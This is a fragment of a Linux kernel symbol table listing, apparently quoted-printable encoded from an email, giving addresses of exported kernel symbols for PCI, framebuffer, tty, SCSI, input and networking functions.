10331a60 r __ksymtab_match_token=0A=
10331a68 r __ksymtab_half_md4_transform=0A=
10331a70 r __ksymtab_bitreverse=0A=
10331a78 r __ksymtab_crc32_be=0A=
10331a80 r __ksymtab_crc32_le=0A=
10331a88 r __ksymtab_crc32c_be=0A=
10331a90 r __ksymtab_crc32c_le=0A=
10331a98 r __ksymtab_pci_iounmap=0A=
10331aa0 r __ksymtab_pci_iomap=0A=
10331aa8 r __ksymtab_ioport_unmap=0A=
10331ab0 r __ksymtab_ioport_map=0A=
10331ab8 r __ksymtab_iowrite32_rep=0A=
10331ac0 r __ksymtab_iowrite16_rep=0A=
10331ac8 r __ksymtab_iowrite8_rep=0A=
10331ad0 r __ksymtab_ioread32_rep=0A=
10331ad8 r __ksymtab_ioread16_rep=0A=
10331ae0 r __ksymtab_ioread8_rep=0A=
10331ae8 r __ksymtab_iowrite32be=0A=
10331af0 r __ksymtab_iowrite32=0A=
10331af8 r __ksymtab_iowrite16be=0A=
10331b00 r __ksymtab_iowrite16=0A=
10331b08 r __ksymtab_iowrite8=0A=
10331b10 r __ksymtab_ioread32be=0A=
10331b18 r __ksymtab_ioread32=0A=
10331b20 r __ksymtab_ioread16be=0A=
10331b28 r __ksymtab_ioread16=0A=
10331b30 r __ksymtab_ioread8=0A=
10331b38 r __ksymtab_pci_bus_write_config_dword=0A=
10331b40 r __ksymtab_pci_bus_write_config_word=0A=
10331b48 r __ksymtab_pci_bus_write_config_byte=0A=
10331b50 r __ksymtab_pci_bus_read_config_dword=0A=
10331b58 r __ksymtab_pci_bus_read_config_word=0A=
10331b60 r __ksymtab_pci_bus_read_config_byte=0A=
10331b68 r __ksymtab_pci_enable_bridges=0A=
10331b70 r __ksymtab_pci_bus_add_devices=0A=
10331b78 r __ksymtab_pci_bus_alloc_resource=0A=
10331b80 r __ksymtab_pci_scan_single_device=0A=
10331b88 r __ksymtab_pci_scan_bridge=0A=
10331b90 r __ksymtab_pci_scan_slot=0A=
10331b98 r __ksymtab_pci_do_scan_bus=0A=
10331ba0 r __ksymtab_pci_add_new_bus=0A=
10331ba8 r __ksymtab_pci_scan_bus_parented=0A=
10331bb0 r __ksymtab_pci_root_buses=0A=
10331bb8 r __ksymtab_pci_remove_behind_bridge=0A=
10331bc0 r __ksymtab_pci_remove_bus_device=0A=
10331bc8 r __ksymtab_pci_remove_bus=0A=
10331bd0 r __ksymtab_pci_pci_problems=0A=
10331bd8 r __ksymtab_isa_dma_bridge_buggy=0A=
10331be0 r __ksymtab_pci_enable_wake=0A=
10331be8 r __ksymtab_pci_restore_state=0A=
10331bf0 r __ksymtab_pci_save_state=0A=
10331bf8 r __ksymtab_pci_set_power_state=0A=
10331c00 r __ksymtab_pci_find_parent_resource=0A=
10331c08 r __ksymtab_pci_assign_resource=0A=
10331c10 r __ksymtab_pci_set_consistent_dma_mask=0A=
10331c18 r __ksymtab_pci_set_dma_mask=0A=
10331c20 r __ksymtab_pci_clear_mwi=0A=
10331c28 r __ksymtab_pci_set_mwi=0A=
10331c30 r __ksymtab_pci_set_master=0A=
10331c38 r __ksymtab_pci_request_region=0A=
10331c40 r __ksymtab_pci_release_region=0A=
10331c48 r __ksymtab_pci_request_regions=0A=
10331c50 r __ksymtab_pci_release_regions=0A=
10331c58 r __ksymtab_pci_bus_find_capability=0A=
10331c60 r __ksymtab_pci_find_capability=0A=
10331c68 r __ksymtab_pci_disable_device=0A=
10331c70 r __ksymtab_pci_enable_device=0A=
10331c78 r __ksymtab_pci_enable_device_bars=0A=
10331c80 r __ksymtab_pci_choose_state=0A=
10331c88 r __ksymtab_pci_fixup_device=0A=
10331c90 r __ksymtab_pcie_mch_quirk=0A=
10331c98 r __ksymtab_pci_dev_put=0A=
10331ca0 r __ksymtab_pci_dev_get=0A=
10331ca8 r __ksymtab_pci_bus_type=0A=
10331cb0 r __ksymtab_pci_dev_driver=0A=
10331cb8 r __ksymtab_pci_unregister_driver=0A=
10331cc0 r __ksymtab___pci_register_driver=0A=
10331cc8 r __ksymtab_pci_match_device=0A=
10331cd0 r __ksymtab_pci_match_id=0A=
10331cd8 r __ksymtab_pci_get_class=0A=
10331ce0 r __ksymtab_pci_get_slot=0A=
10331ce8 r __ksymtab_pci_get_subsys=0A=
10331cf0 r __ksymtab_pci_get_device=0A=
10331cf8 r __ksymtab_pci_find_slot=0A=
10331d00 r __ksymtab_pci_find_device_reverse=0A=
10331d08 r __ksymtab_pci_find_device=0A=
10331d10 r __ksymtab_pci_find_next_bus=0A=
10331d18 r __ksymtab_pci_find_bus=0A=
10331d20 r __ksymtab_pci_dev_present=0A=
10331d28 r __ksymtab_pci_remove_rom=0A=
10331d30 r __ksymtab_pci_unmap_rom=0A=
10331d38 r __ksymtab_pci_map_rom_copy=0A=
10331d40 r __ksymtab_pci_map_rom=0A=
10331d48 r __ksymtab_pci_proc_detach_bus=0A=
10331d50 r __ksymtab_pci_proc_attach_device=0A=
10331d58 r __ksymtab_pci_bus_assign_resources=0A=
10331d60 r __ksymtab_pci_bus_size_bridges=0A=
10331d68 r __ksymtab_pci_setup_cardbus=0A=
10331d70 r __ksymtab_gsc_claim_irq=0A=
10331d78 r __ksymtab_gsc_alloc_irq=0A=
10331d80 r __ksymtab_sti_get_rom=0A=
10331d88 r __ksymtab_get_default_font=0A=
10331d90 r __ksymtab_find_font=0A=
10331d98 r __ksymtab_fbcon_set_bitops=0A=
10331da0 r __ksymtab_soft_cursor=0A=
10331da8 r __ksymtab_fb_new_modelist=0A=
10331db0 r __ksymtab_fb_get_options=0A=
10331db8 r __ksymtab_fb_unregister_client=0A=
10331dc0 r __ksymtab_fb_register_client=0A=
10331dc8 r __ksymtab_fb_set_suspend=0A=
10331dd0 r __ksymtab_fb_get_buffer_offset=0A=
10331dd8 r __ksymtab_fb_pan_display=0A=
10331de0 r __ksymtab_fb_blank=0A=
10331de8 r __ksymtab_fb_set_var=0A=
10331df0 r __ksymtab_fb_show_logo=0A=
10331df8 r __ksymtab_fb_prepare_logo=0A=
10331e00 r __ksymtab_registered_fb=0A=
10331e08 r __ksymtab_num_registered_fb=0A=
10331e10 r __ksymtab_unregister_framebuffer=0A=
10331e18 r __ksymtab_register_framebuffer=0A=
10331e20 r __ksymtab_fb_con_duit=0A=
10331e28 r __ksymtab_fb_pad_unaligned_buffer=0A=
10331e30 r __ksymtab_fb_pad_aligned_buffer=0A=
10331e38 r __ksymtab_fb_get_color_depth=0A=
10331e40 r __ksymtab_fb_destroy_modedb=0A=
10331e48 r __ksymtab_fb_validate_mode=0A=
10331e50 r __ksymtab_fb_get_mode=0A=
10331e58 r __ksymtab_fb_firmware_edid=0A=
10331e60 r __ksymtab_fb_edid_to_monspecs=0A=
10331e68 r __ksymtab_fb_parse_edid=0A=
10331e70 r __ksymtab_fb_invert_cmaps=0A=
10331e78 r __ksymtab_fb_default_cmap=0A=
10331e80 r __ksymtab_fb_set_cmap=0A=
10331e88 r __ksymtab_fb_copy_cmap=0A=
10331e90 r __ksymtab_fb_dealloc_cmap=0A=
10331e98 r __ksymtab_fb_alloc_cmap=0A=
10331ea0 r __ksymtab_framebuffer_release=0A=
10331ea8 r __ksymtab_framebuffer_alloc=0A=
10331eb0 r __ksymtab_fb_find_mode=0A=
10331eb8 r __ksymtab_fb_videomode_to_modelist=0A=
10331ec0 r __ksymtab_fb_find_nearest_mode=0A=
10331ec8 r __ksymtab_fb_find_best_mode=0A=
10331ed0 r __ksymtab_fb_match_mode=0A=
10331ed8 r __ksymtab_fb_destroy_modelist=0A=
10331ee0 r __ksymtab_fb_delete_videomode=0A=
10331ee8 r __ksymtab_fb_add_videomode=0A=
10331ef0 r __ksymtab_fb_mode_is_equal=0A=
10331ef8 r __ksymtab_fb_var_to_videomode=0A=
10331f00 r __ksymtab_fb_videomode_to_var=0A=
10331f08 r __ksymtab_fb_find_best_display=0A=
10331f10 r __ksymtab_fb_find_mode_cvt=0A=
10331f18 r __ksymtab_cfb_fillrect=0A=
10331f20 r __ksymtab_cfb_copyarea=0A=
10331f28 r __ksymtab_cfb_imageblit=0A=
10331f30 r __ksymtab_secure_tcp_sequence_number=0A=
10331f38 r __ksymtab_generate_random_uuid=0A=
10331f40 r __ksymtab_get_random_bytes=0A=
10331f48 r __ksymtab_add_disk_randomness=0A=
10331f50 r __ksymtab_tty_unregister_driver=0A=
10331f58 r __ksymtab_tty_register_driver=0A=
10331f60 r __ksymtab_tty_set_operations=0A=
10331f68 r __ksymtab_put_tty_driver=0A=
10331f70 r __ksymtab_alloc_tty_driver=0A=
10331f78 r __ksymtab_tty_unregister_device=0A=
10331f80 r __ksymtab_tty_register_device=0A=
10331f88 r __ksymtab_tty_flip_buffer_push=0A=
10331f90 r __ksymtab_tty_get_baud_rate=0A=
10331f98 r __ksymtab_tty_termios_baud_rate=0A=
10331fa0 r __ksymtab_do_SAK=0A=
10331fa8 r __ksymtab_start_tty=0A=
10331fb0 r __ksymtab_stop_tty=0A=
10331fb8 r __ksymtab_tty_hung_up_p=0A=
10331fc0 r __ksymtab_tty_vhangup=0A=
10331fc8 r __ksymtab_tty_hangup=0A=
10331fd0 r __ksymtab_tty_check_change=0A=
10331fd8 r __ksymtab_tty_unregister_ldisc=0A=
10331fe0 r __ksymtab_tty_register_ldisc=0A=
10331fe8 r __ksymtab_tty_name=0A=
10331ff0 r __ksymtab_tty_std_termios=0A=
10331ff8 r __ksymtab_n_tty_ioctl=0A=
10332000 r __ksymtab_tty_wait_until_sent=0A=
10332008 r __ksymtab_misc_deregister=0A=
10332010 r __ksymtab_misc_register=0A=
10332018 r __ksymtab_con_copy_unimap=0A=
10332020 r __ksymtab_con_set_default_unimap=0A=
10332028 r __ksymtab_give_up_console=0A=
10332030 r __ksymtab_take_over_console=0A=
10332038 r __ksymtab_vc_cons=0A=
10332040 r __ksymtab_console_blanked=0A=
10332048 r __ksymtab_console_blank_hook=0A=
10332050 r __ksymtab_fg_console=0A=
10332058 r __ksymtab_vc_resize=0A=
10332060 r __ksymtab_redraw_screen=0A=
10332068 r __ksymtab_update_region=0A=
10332070 r __ksymtab_default_blu=0A=
10332078 r __ksymtab_default_grn=0A=
10332080 r __ksymtab_default_red=0A=
10332088 r __ksymtab_color_table=0A=
10332090 r __ksymtab_do_unblank_screen=0A=
10332098 r __ksymtab_do_blank_screen=0A=
103320a0 r __ksymtab_serio_reconnect=0A=
103320a8 r __ksymtab_serio_rescan=0A=
103320b0 r __ksymtab_serio_close=0A=
103320b8 r __ksymtab_serio_open=0A=
103320c0 r __ksymtab_serio_unregister_driver=0A=
103320c8 r __ksymtab___serio_register_driver=0A=
103320d0 r __ksymtab___serio_unregister_port_delayed=0A=
103320d8 r __ksymtab_serio_unregister_child_port=0A=
103320e0 r __ksymtab_serio_unregister_port=0A=
103320e8 r __ksymtab___serio_register_port=0A=
103320f0 r __ksymtab_serio_interrupt=0A=
103320f8 r __ksymtab_ps2_cmd_aborted=0A=
10332100 r __ksymtab_ps2_handle_response=0A=
10332108 r __ksymtab_ps2_handle_ack=0A=
10332110 r __ksymtab_ps2_schedule_command=0A=
10332118 r __ksymtab_ps2_command=0A=
10332120 r __ksymtab_ps2_drain=0A=
10332128 r __ksymtab_ps2_sendbyte=0A=
10332130 r __ksymtab_ps2_init=0A=
10332138 r __ksymtab_cpu_sysdev_class=0A=
10332140 r __ksymtab_dma_pool_free=0A=
10332148 r __ksymtab_dma_pool_alloc=0A=
10332150 r __ksymtab_dma_pool_destroy=0A=
10332158 r __ksymtab_dma_pool_create=0A=
10332160 r __ksymtab_register_firmware=0A=
10332168 r __ksymtab_request_firmware_nowait=0A=
10332170 r __ksymtab_request_firmware=0A=
10332178 r __ksymtab_release_firmware=0A=
10332180 r __ksymtab_loopback_dev=0A=
10332188 r __ksymtab_scsi_device_cancel=0A=
10332190 r __ksymtab_scsi_device_lookup=0A=
10332198 r __ksymtab___scsi_device_lookup=0A=
103321a0 r __ksymtab_scsi_device_lookup_by_target=0A=
103321a8 r __ksymtab___scsi_device_lookup_by_target=0A=
103321b0 r __ksymtab_starget_for_each_device=0A=
103321b8 r __ksymtab___scsi_iterate_devices=0A=
103321c0 r __ksymtab_scsi_device_put=0A=
103321c8 r __ksymtab_scsi_device_get=0A=
103321d0 r __ksymtab_scsi_track_queue_full=0A=
103321d8 r __ksymtab_scsi_adjust_queue_depth=0A=
103321e0 r __ksymtab_scsi_finish_command=0A=
103321e8 r __ksymtab_scsi_put_command=0A=
103321f0 r __ksymtab_scsi_get_command=0A=
103321f8 r __ksymtab_scsi_release_request=0A=
10332200 r __ksymtab_scsi_allocate_request=0A=
10332208 r __ksymtab_scsi_device_types=0A=
10332210 r __ksymtab_scsi_is_host_device=0A=
10332218 r __ksymtab_scsi_host_put=0A=
10332220 r __ksymtab_scsi_host_get=0A=
10332228 r __ksymtab_scsi_host_lookup=0A=
10332230 r __ksymtab_scsi_unregister=0A=
10332238 r __ksymtab_scsi_register=0A=
10332240 r __ksymtab_scsi_host_alloc=0A=
10332248 r __ksymtab_scsi_add_host=0A=
10332250 r __ksymtab_scsi_remove_host=0A=
10332258 r __ksymtab_scsi_host_set_state=0A=
10332260 r __ksymtab_scsi_nonblockable_ioctl=0A=
10332268 r __ksymtab_scsi_ioctl=0A=
10332270 r __ksymtab_scsi_ioctl_send_command=0A=
10332278 r __ksymtab_scsi_set_medium_removal=0A=
10332280 r __ksymtab_scsi_print_command=0A=
10332288 r __ksymtab_scsi_print_req_sense=0A=
10332290 r __ksymtab_scsi_print_sense=0A=
10332298 r __ksymtab___scsi_print_sense=0A=
103322a0 r __ksymtab_scsi_print_sense_hdr=0A=
103322a8 r __ksymtab_scsi_extd_sense_format=0A=
103322b0 r __ksymtab_scsi_sense_key_string=0A=
103322b8 r __ksymtab_scsi_print_status=0A=
103322c0 r __ksymtab___scsi_print_command=0A=
103322c8 r __ksymtab_scsi_partsize=0A=
103322d0 r __ksymtab_scsicam_bios_param=0A=
103322d8 r __ksymtab_scsi_bios_ptable=0A=
103322e0 r __ksymtab_scsi_get_sense_info_fld=0A=
103322e8 r __ksymtab_scsi_sense_desc_find=0A=
103322f0 r __ksymtab_scsi_command_normalize_sense=0A=
103322f8 r __ksymtab_scsi_request_normalize_sense=0A=
10332300 r __ksymtab_scsi_normalize_sense=0A=
10332308 r __ksymtab_scsi_reset_provider=0A=
10332310 r __ksymtab_scsi_report_device_reset=0A=
10332318 r __ksymtab_scsi_report_bus_reset=0A=
10332320 r __ksymtab_scsi_block_when_processing_errors=0A=
10332328 r __ksymtab_scsi_target_resume=0A=
10332330 r __ksymtab_scsi_target_quiesce=0A=
10332338 r __ksymtab_scsi_device_resume=0A=
10332340 r __ksymtab_scsi_device_quiesce=0A=
10332348 r __ksymtab_scsi_device_set_state=0A=
10332350 r __ksymtab_scsi_test_unit_ready=0A=
10332358 r __ksymtab_scsi_mode_sense=0A=
10332360 r __ksymtab_scsi_unblock_requests=0A=
10332368 r __ksymtab_scsi_block_requests=0A=
10332370 r __ksymtab_scsi_calculate_bounce_limit=0A=
10332378 r __ksymtab_scsi_io_completion=0A=
10332380 r __ksymtab_scsi_execute_req=0A=
10332388 r __ksymtab_scsi_execute=0A=
10332390 r __ksymtab_scsi_do_req=0A=
10332398 r __ksymtab_scsi_free_host_dev=0A=
103323a0 r __ksymtab_scsi_get_host_dev=0A=
103323a8 r __ksymtab_scsi_scan_host=0A=
103323b0 r __ksymtab_scsi_scan_target=0A=
103323b8 r __ksymtab_scsi_rescan_device=0A=
103323c0 r __ksymtab_scsi_add_device=0A=
103323c8 r __ksymtab___scsi_add_device=0A=
103323d0 r __ksymtab_int_to_scsilun=0A=
103323d8 r __ksymtab_scsi_is_target_device=0A=
103323e0 r __ksymtab_scsi_is_sdev_device=0A=
103323e8 r __ksymtab_scsi_register_interface=0A=
103323f0 r __ksymtab_scsi_register_driver=0A=
103323f8 r __ksymtab_scsi_remove_target=0A=
10332400 r __ksymtab_scsi_remove_device=0A=
10332408 r __ksymtab_spi_release_transport=0A=
10332410 r __ksymtab_spi_attach_transport=0A=
10332418 r __ksymtab_spi_print_msg=0A=
10332420 r __ksymtab_spi_display_xfer_agreement=0A=
10332428 r __ksymtab_spi_schedule_dv_device=0A=
10332430 r __ksymtab_spi_dv_device=0A=
10332438 r __ksymtab_NCR_700_intr=0A=
10332440 r __ksymtab_NCR_700_release=0A=
10332448 r __ksymtab_NCR_700_detect=0A=
10332450 r __ksymtab_cdrom_get_media_event=0A=
10332458 r __ksymtab_init_cdrom_command=0A=
10332460 r __ksymtab_cdrom_mode_sense=0A=
10332468 r __ksymtab_cdrom_mode_select=0A=
10332470 r __ksymtab_cdrom_number_of_slots=0A=
10332478 r __ksymtab_cdrom_media_changed=0A=
10332480 r __ksymtab_cdrom_ioctl=0A=
10332488 r __ksymtab_cdrom_release=0A=
10332490 r __ksymtab_cdrom_open=0A=
10332498 r __ksymtab_unregister_cdrom=0A=
103324a0 r __ksymtab_register_cdrom=0A=
103324a8 r __ksymtab_cdrom_get_last_written=0A=
103324b0 r __ksymtab_input_event=0A=
103324b8 r __ksymtab_input_flush_device=0A=
103324c0 r __ksymtab_input_accept_process=0A=
103324c8 r __ksymtab_input_close_device=0A=
103324d0 r __ksymtab_input_open_device=0A=
103324d8 r __ksymtab_input_release_device=0A=
103324e0 r __ksymtab_input_grab_device=0A=
103324e8 r __ksymtab_input_unregister_handler=0A=
103324f0 r __ksymtab_input_register_handler=0A=
103324f8 r __ksymtab_input_unregister_device=0A=
10332500 r __ksymtab_input_register_device=0A=
10332508 r __ksymtab_input_allocate_device=0A=
10332510 r __ksymtab_kernel_recvmsg=0A=
10332518 r __ksymtab_kernel_sendmsg=0A=
10332520 r __ksymtab_sockfd_lookup=0A=
10332528 r __ksymtab_sock_wake_async=0A=
10332530 r __ksymtab_sock_unregister=0A=
10332538 r __ksymtab_sock_sendmsg=0A=
10332540 r __ksymtab_sock_release=0A=
10332548 r __ksymtab_sock_register=0A=
10332550 r __ksymtab_sock_recvmsg=0A=
10332558 r __ksymtab_sock_map_fd=0A=
10332560 r __ksymtab_sock_create_lite=0A=
10332568 r __ksymtab_sock_create_kern=0A=
10332570 r __ksymtab_sock_create=0A=
10332578 r __ksymtab_move_addr_to_user=0A=
10332580 r __ksymtab_move_addr_to_kernel=0A=
10332588 r __ksymtab_dlci_ioctl_set=0A=
10332590 r __ksymtab_vlan_ioctl_set=0A=
10332598 r __ksymtab_brioctl_set=0A=
103325a0 r __ksymtab_sysctl_wmem_max=0A=
103325a8 r __ksymtab_sysctl_rmem_max=0A=
103325b0 r __ksymtab_sysctl_optmem_max=0A=
103325b8 r __ksymtab_sock_i_ino=0A=
103325c0 r __ksymtab_sock_i_uid=0A=
103325c8 r __ksymtab_sock_wmalloc=0A=
103325d0 r __ksymtab_sock_wfree=0A=
103325d8 r __ksymtab_sock_setsockopt=0A=
103325e0 r __ksymtab_sock_rfree=0A=
103325e8 r __ksymtab_sock_no_socketpair=0A=
103325f0 r __ksymtab_sock_no_shutdown=0A=
103325f8 r __ksymtab_sock_no_setsockopt=0A=
10332600 r __ksymtab_sock_no_sendpage=0A=
10332608 r __ksymtab_sock_no_sendmsg=0A=
10332610 r __ksymtab_sock_no_recvmsg=0A=
10332618 r __ksymtab_sock_no_poll=0A=
10332620 r __ksymtab_sock_no_mmap=0A=
10332628 r __ksymtab_sock_no_listen=0A=
10332630 r __ksymtab_sock_no_ioctl=0A=
10332638 r __ksymtab_sock_no_getsockopt=0A=
10332640 r __ksymtab_sock_no_getname=0A=
10332648 r __ksymtab_sock_no_connect=0A=
10332650 r __ksymtab_sock_no_bind=0A=
10332658 r __ksymtab_sock_no_accept=0A=
10332660 r __ksymtab_sock_kmalloc=0A=
10332668 r __ksymtab_sock_kfree_s=0A=
10332670 r __ksymtab_sock_init_data=0A=
10332678 r __ksymtab_sock_alloc_send_skb=0A=
10332680 r __ksymtab_sk_send_sigurg=0A=
10332688 r __ksymtab_sk_free=0A=
10332690 r __ksymtab_sk_alloc=0A=
10332698 r __ksymtab_proto_unregister=0A=
103326a0 r __ksymtab_proto_register=0A=
103326a8 r __ksymtab_sk_common_release=0A=
103326b0 r __ksymtab_sock_common_setsockopt=0A=
103326b8 r __ksymtab_sock_common_recvmsg=0A=
103326c0 r __ksymtab_sock_common_getsockopt=0A=
103326c8 r __ksymtab_sock_enable_timestamp=0A=
103326d0 r __ksymtab_sock_get_timestamp=0A=
103326d8 r __ksymtab_release_sock=0A=
103326e0 r __ksymtab_lock_sock=0A=
103326e8 r __ksymtab_sk_stop_timer=0A=
103326f0 r __ksymtab_sk_reset_timer=0A=
103326f8 r __ksymtab_sk_wait_data=0A=
10332700 r __ksymtab_reqsk_queue_destroy=0A=
10332708 r __ksymtab_reqsk_queue_alloc=0A=
10332710 r __ksymtab_skb_append_datato_frags=0A=
10332718 r __ksymtab_skb_find_text=0A=
10332720 r __ksymtab_skb_abort_seq_read=0A=
10332728 r __ksymtab_skb_seq_read=0A=
10332730 r __ksymtab_skb_prepare_seq_read=0A=
10332738 r __ksymtab_skb_split=0A=
10332740 r __ksymtab_skb_append=0A=
10332748 r __ksymtab_skb_unlink=0A=
10332750 r __ksymtab_skb_queue_tail=0A=
10332758 r __ksymtab_skb_queue_head=0A=
10332760 r __ksymtab_skb_queue_purge=0A=
10332768 r __ksymtab_skb_insert=0A=
10332770 r __ksymtab_skb_dequeue_tail=0A=
10332778 r __ksymtab_skb_dequeue=0A=
10332780 r __ksymtab_skb_under_panic=0A=
10332788 r __ksymtab_skb_realloc_headroom=0A=
10332790 r __ksymtab_skb_pad=0A=
10332798 r __ksymtab_skb_over_panic=0A=
103327a0 r __ksymtab_skb_copy_expand=0A=
103327a8 r __ksymtab_skb_copy_bits=0A=
103327b0 r __ksymtab_skb_copy_and_csum_dev=0A=
103327b8 r __ksymtab_skb_copy_and_csum_bits=0A=
103327c0 r __ksymtab_skb_copy=0A=
103327c8 r __ksymtab_skb_clone_fraglist=0A=
103327d0 r __ksymtab_skb_clone=0A=
103327d8 r __ksymtab_skb_checksum=0A=
103327e0 r __ksymtab_pskb_expand_head=0A=
103327e8 r __ksymtab_pskb_copy=0A=
103327f0 r __ksymtab___alloc_skb=0A=
103327f8 r __ksymtab___pskb_pull_tail=0A=
10332800 r __ksymtab___kfree_skb=0A=
10332808 r __ksymtab____pskb_trim=0A=
10332810 r __ksymtab_skb_store_bits=0A=
10332818 r __ksymtab_memcpy_toiovec=0A=
10332820 r __ksymtab_memcpy_fromiovecend=0A=
10332828 r __ksymtab_memcpy_fromiovec=0A=
10332830 r __ksymtab_csum_partial_copy_fromiovecend=0A=
10332838 r __ksymtab_skb_recv_datagram=0A=
10332840 r __ksymtab_skb_free_datagram=0A=
10332848 r __ksymtab_skb_copy_datagram_iovec=0A=
10332850 r __ksymtab_skb_copy_and_csum_datagram_iovec=0A=
10332858 r __ksymtab_datagram_poll=0A=
10332860 r __ksymtab___skb_checksum_complete=0A=
10332868 r __ksymtab_skb_kill_datagram=0A=
10332870 r __ksymtab_sk_stream_kill_queues=0A=
10332878 r __ksymtab_sk_stream_mem_schedule=0A=
10332880 r __ksymtab___sk_stream_mem_reclaim=0A=
10332888 r __ksymtab_sk_stream_error=0A=
10332890 r __ksymtab_sk_stream_rfree=0A=
10332898 r __ksymtab_sk_stream_wait_memory=0A=
103328a0 r __ksymtab_sk_stream_wait_close=0A=
103328a8 r __ksymtab_sk_stream_wait_connect=0A=
103328b0 r __ksymtab_sk_stream_write_space=0A=
103328b8 r __ksymtab_scm_fp_dup=0A=
103328c0 r __ksymtab_scm_detach_fds=0A=
103328c8 r __ksymtab_put_cmsg=0A=
103328d0 r __ksymtab___scm_send=0A=
103328d8 r __ksymtab___scm_destroy=0A=
103328e0 r __ksymtab_gnet_stats_finish_copy=0A=
103328e8 r __ksymtab_gnet_stats_copy_app=0A=
103328f0 r __ksymtab_gnet_stats_copy_queue=0A=
103328f8 r __ksymtab_gnet_stats_copy_rate_est=0A=
10332900 r __ksymtab_gnet_stats_copy_basic=0A=
10332908 r __ksymtab_gnet_stats_start_copy_compat=0A=
10332910 r __ksymtab_gnet_stats_start_copy=0A=
10332918 r __ksymtab_gen_replace_estimator=0A=
10332920 r __ksymtab_gen_new_estimator=0A=
10332928 r __ksymtab_gen_kill_estimator=0A=
10332930 r __ksymtab_per_cpu__softnet_data=0A=
10332938 r __ksymtab_dev_load=0A=
10332940 r __ksymtab_dev_get_flags=0A=
10332948 r __ksymtab_net_disable_timestamp=0A=
10332950 r __ksymtab_net_enable_timestamp=0A=
10332958 r __ksymtab_unregister_netdevice_notifier=0A=
10332960 r __ksymtab_unregister_netdevice=0A=
10332968 r __ksymtab_synchronize_net=0A=
10332970 r __ksymtab_skb_checksum_help=0A=
10332978 r __ksymtab_register_netdevice_notifier=0A=
10332980 r __ksymtab_register_netdevice=0A=
10332988 r __ksymtab_register_gifconf=0A=
10332990 r __ksymtab_netif_rx=0A=
10332998 r __ksymtab_netif_receive_skb=0A=
103329a0 r __ksymtab_netdev_state_change=0A=
103329a8 r __ksymtab_netdev_set_master=0A=
103329b0 r __ksymtab_netdev_boot_setup_check=0A=
103329b8 r __ksymtab_free_netdev=0A=
103329c0 r __ksymtab_dev_set_mac_address=0A=
103329c8 r __ksymtab_dev_set_mtu=0A=
103329d0 r __ksymtab_dev_change_flags=0A=
103329d8 r __ksymtab_dev_set_promiscuity=0A=
103329e0 r __ksymtab_dev_set_allmulti=0A=
103329e8 r __ksymtab_dev_remove_pack=0A=
103329f0 r __ksymtab_dev_queue_xmit=0A=
103329f8 r __ksymtab_dev_open=0A=
10332a00 r __ksymtab_dev_get_by_name=0A=
10332a08 r __ksymtab_dev_get_by_index=0A=
10332a10 r __ksymtab_dev_get_by_flags=0A=
10332a18 r __ksymtab_dev_close=0A=
10332a20 r __ksymtab_dev_alloc_name=0A=
10332a28 r __ksymtab_dev_add_pack=0A=
10332a30 r __ksymtab_dev_valid_name=0A=
10332a38 r __ksymtab___skb_linearize=0A=
10332a40 r __ksymtab___dev_remove_pack=0A=
10332a48 r __ksymtab___dev_get_by_name=0A=
10332a50 r __ksymtab___dev_get_by_index=0A=
10332a58 r __ksymtab_unregister_netdev=0A=
10332a60 r __ksymtab_alloc_netdev=0A=
10332a68 r __ksymtab_register_netdev=0A=
10332a70 r __ksymtab_netif_rx_ni=0A=
10332a78 r __ksymtab_netdev_rx_csum_fault=0A=
10332a80 r __ksymtab___net_timestamp=0A=
10332a88 r __ksymtab_netdev_features_change=0A=
10332a90 r __ksymtab_dev_getfirstbyhwtype=0A=
10332a98 r __ksymtab_dev_getbyhwaddr=0A=
10332aa0 r __ksymtab_dev_base_lock=0A=
10332aa8 r __ksymtab_dev_base=0A=
10332ab0 r __ksymtab_ethtool_op_get_ufo=0A=
10332ab8 r __ksymtab_ethtool_op_set_ufo=0A=
10332ac0 r __ksymtab_ethtool_op_set_tx_hw_csum=0A=
10332ac8 r __ksymtab_ethtool_op_set_tx_csum=0A=
10332ad0 r __ksymtab_ethtool_op_set_tso=0A=
10332ad8 r __ksymtab_ethtool_op_set_sg=0A=
10332ae0 r __ksymtab_ethtool_op_get_tx_csum=0A=
10332ae8 r __ksymtab_ethtool_op_get_tso=0A=
10332af0 r __ksymtab_ethtool_op_get_sg=0A=
10332af8 r __ksymtab_ethtool_op_get_link=0A=
10332b00 r __ksymtab_dev_ethtool=0A=
10332b08 r __ksymtab_dev_mc_upload=0A=
10332b10 r __ksymtab_dev_mc_delete=0A=
10332b18 r __ksymtab_dev_mc_add=0A=
10332b20 r __ksymtab_dst_destroy=0A=
10332b28 r __ksymtab_dst_alloc=0A=
10332b30 r __ksymtab___dst_free=0A=
10332b38 r __ksymtab_neigh_sysctl_unregister=0A=
10332b40 r __ksymtab_neigh_sysctl_register=0A=
10332b48 r __ksymtab_neightbl_set=0A=
10332b50 r __ksymtab_neightbl_dump_info=0A=
10332b58 r __ksymtab_pneigh_lookup=0A=
10332b60 r __ksymtab_pneigh_enqueue=0A=
10332b68 r __ksymtab_neigh_update_hhs=0A=
10332b70 r __ksymtab_neigh_update=0A=
10332b78 r __ksymtab_neigh_table_init=0A=
10332b80 r __ksymtab_neigh_table_clear=0A=
10332b88 r __ksymtab_neigh_resolve_output=0A=
10332b90 r __ksymtab_neigh_rand_reach_time=0A=
10332b98 r __ksymtab_neigh_parms_release=0A=
10332ba0 r __ksymtab_neigh_parms_alloc=0A=
10332ba8 r __ksymtab_neigh_lookup_nodev=0A=
10332bb0 r __ksymtab_neigh_lookup=0A=
10332bb8 r __ksymtab_neigh_ifdown=0A=
10332bc0 r __ksymtab_neigh_event_ns=0A=
10332bc8 r __ksymtab_neigh_dump_info=0A=
10332bd0 r __ksymtab_neigh_destroy=0A=
10332bd8 r __ksymtab_neigh_delete=0A=
10332be0 r __ksymtab_neigh_create=0A=
10332be8 r __ksymtab_neigh_connected_output=0A=
10332bf0 r __ksymtab_neigh_compat_output=0A=
10332bf8 r __ksymtab_neigh_changeaddr=0A=
10332c00 r __ksymtab_neigh_add=0A=
10332c08 r __ksymtab___neigh_event_send=0A=
10332c10 r __ksymtab_neigh_seq_stop=0A=
10332c18 r __ksymtab_neigh_seq_next=0A=
10332c20 r __ksymtab_neigh_seq_start=0A=
10332c28 r __ksymtab___neigh_for_each_release=0A=
10332c30 r __ksymtab_neigh_for_each=0A=
10332c38 r __ksymtab_rtnl_unlock=0A=
10332c40 r __ksymtab_rtnl_sem=0A=
10332c48 r __ksymtab_rtnl_lock_interruptible=0A=
10332c50 r __ksymtab_rtnl_lock=0A=
10332c58 r __ksymtab_rtnl=0A=
10332c60 r __ksymtab_rtnetlink_put_metrics=0A=
10332c68 r __ksymtab_rtnetlink_links=0A=
